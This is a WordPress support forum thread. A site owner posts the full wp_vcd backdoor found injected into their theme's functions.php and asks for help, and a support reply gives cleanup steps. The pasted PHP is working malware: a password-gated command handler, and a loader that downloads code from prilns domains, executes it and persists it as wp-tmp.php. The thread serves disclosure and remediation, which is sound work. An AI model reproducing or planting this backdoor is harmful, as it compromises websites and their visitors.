Code added to functions.php file

Support
#1

Hello! It has come to my attention that my site has been hacked and there is malware within the code somewhere. I have done some free scans and my functions.php file is showing some strange code. I never added the following code and I was wondering if you’d be able to let me know if it’s important or indeed been hacked.

I have removed it, but it continues to be re-added after I save the functions.php file in the x-child theme editor. It would be great if someone could assist!

Here is the code:

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f240851ba03756ee5dd43b777433ed2c'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='f71cbadcd875a4cb9c68a20da8a93d08';
        if (($tmpcontent = @file_get_contents("http://www.prilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.prilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.prilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.prilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>
#2

Hi @janaroberts,

Thank you for reaching out to us. Your issue is quite similar to this one: https://wordpress.org/support/topic/warnings-unknown-file-in-wordpress-core-wp-includes-wp-tmp-php/ please follow the suggestions listed in the end:

  • The malware comes from a nulled distribution (lesson learned).
  • The malware seems to try to benefit unlawfully from the website views/backlinks.
  • Deleting malicious code from functions.php first will autorepopulate.
  • Deleting wp-feed.php,wp-vcd.php,wp-tmp.php first will autorepopulate.
    – I got some success by:
  1. Get rid of nulled theme/plugin, deleting unused themes.
  2. Deleting malicious code from post.php FIRST.
  3. Deleting malicious code from theme functions.php
  4. Deleting includes/wp-feed.php
    wp-vcd.php
    wp-tmp.php

If it doesn’t help then try out couple of these solutions:

  1. Check all the WordPress sites in the shared hosting.
  2. Deactivate and eliminate each Plugin or theme from DOWNLOAD NULLED
  3. Search all the files function.php the malicious code, and delete it, save file changes.
  4. Search files :
    wp-feed.php
    wp-vcd.php
    wp-tmp.php
  • These can change location, before removing the code from function.php it is convenient to see what are the path that you specify for these files.
    This would have to clean the installation of each domain in the hosting.
  • Recommendation: before starting, make a backup of each site.

Or here’s another solution from the same thread that you can try:

Best to start with fresh WordPress install, delete and re install all plugins then move theme files over while being careful to remove infected code first. even if you attempt to deactivate your theme, thinking that code in functions.php won’t run, it’s possible the hacker visits that url directly, causing it to run. so try to commenting first, then deleting solution, and use fresh install if that doesn’t work.

Hope this helps!

#3

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